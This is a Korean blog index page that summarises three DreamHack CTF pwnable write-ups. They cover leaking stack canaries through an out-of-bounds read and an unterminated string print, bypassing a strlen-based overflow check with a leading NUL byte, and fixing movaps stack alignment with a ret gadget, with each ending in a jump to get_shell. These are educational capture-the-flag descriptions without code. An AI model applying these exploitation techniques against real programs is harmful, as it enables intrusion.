스택 카나리가 켜진 32비트 BOF 문제. (P)rint 메뉴의 box[idx] 가 인덱스 검사를 안 해 OOB read 가 되고, box 기준 +0x80 위치에 있는 카나리 4바이트를 그대로 읽어올 수 있다. 카나리를 복원한 뒤 (E)xit 메뉴의 read(name, name_len) 길이 무제한 오버플로우로 카나리를 그대로 채우고 반환 주소를 get_shell 로 덮어 셸을 잡는다.
#dreamhack#ctf#pwn+6
2026-06-27#dreamhack +5
[🥉 Bronze 4] strlen BOF-ban 을 선두 NUL 로 뚫고 movaps 정렬까지 — DreamHack block bof 풀이
blog

[🥉 Bronze 4] strlen BOF-ban 을 선두 NUL 로 뚫고 movaps 정렬까지 — DreamHack block bof 풀이

입력 길이를 strlen 으로 막는 "BOF 차단" 바이너리를 뚫는 Bronze 4 pwnable. scanf("%s") 는 공백에서만 멈추고 NUL 은 그냥 저장한다는 점을 이용해 payload 선두에 \x00 을 넣으면 strlen 은 0 을 돌려주고 ban 을 통과하면서도 56바이트 뒤 복귀 주소까지 전부 덮인다. get_sehll(오타 함수) 로 바로 ret2win 하면 끝날 것 같지만, 원격(glibc 2.35)에서는 printf 내부 movaps 가 스택 정렬 오류로 죽는다 — ret 가젯 하나를 끼워 16바이트 정렬을 맞춰 해결했다.
#dreamhack#ctf#pwn+5
2026-10-18#dreamhack +5
[🥉 Bronze 2] 카나리를 새서 되돌리고 덮는다 — DreamHack struct person_t 풀이
blog

[🥉 Bronze 2] 카나리를 새서 되돌리고 덮는다 — DreamHack struct person_t 풀이

구조체 첫 멤버 nationality[32] 에 128바이트를 읽어 카나리·saved rbp·반환주소까지 넘치는 전형적인 BOF. 하지만 스택 카나리가 가로막는다. name 을 56바이트 개행 없이 채워 null 종료를 막고, male_or_female 의 5바이트 read 로 카나리 최하위 널바이트를 덮은 뒤 "Hi %s" 출력으로 카나리를 유출한다. 유출한 값을 그대로 되돌려 끼워 넣고 반환주소를 get_shell 로 바꿔 셸을 얻는다.
#dreamhack#ctf#pwn+5
2026-10-15#dreamhack +5